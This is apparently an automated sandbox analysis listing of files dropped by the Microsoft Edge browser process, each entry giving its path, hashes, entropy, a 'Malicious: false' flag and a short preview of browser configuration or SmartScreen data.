Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF393e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e139.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF47dc7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d9b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.007781323528831
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXnMc:YWLSGTt1o9LuLgfGBPAzkVj/T8l8c
MD5:	679BBA6C61E5E50CC560FE208FA25CC8
SHA1:	5110FC6EBCB645405482A1FD8F03BD9AA910EA80
SHA-256:	1CE4102CE76C687160A92F1F65F5336B73466DD30F299732930AF790C01F03C4
SHA-512:	0C05464E6E030E479035FC08DE09A2C0236E1904961314E217EEA1CB239CDFFBAAF46BCDE1A21A1F77D404F65C781498D95827EB902BC3F9562069EC22BCC1EE
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732712961926846}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d2b00563-891f-4ee9-8311-692b7919c6e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45869
Entropy (8bit):	6.087167049739088
Encrypted:	false
SSDEEP:	768:4MkbJrT8IeQc5zop90euEhDO6vP6OGbGHBazxLWK8DP84H8DuPCAoAGoup1Xl3j8:4Mk1rT8H7op9+6c5iC+RoAhu3VlXr4Z
MD5:	7FF2FAB0BBBEFC98D0604705FDD2C589
SHA1:	FCB09A23BFCC77C26721C74DC4953B4C53680710
SHA-256:	3AF6A5A2BDA6493288A83EEA53AEE686B9F442D3A33642AB7CA783BD6C603BDF
SHA-512:	223CD0EB3216EFAE55BAC8E42B8A425A2569EF1E97ED3EB3A92D1DC88048429C7B48E28FC5F366B0204E850EB87BB363042C0D92E0002F10E977722B127A980E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732612162"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oX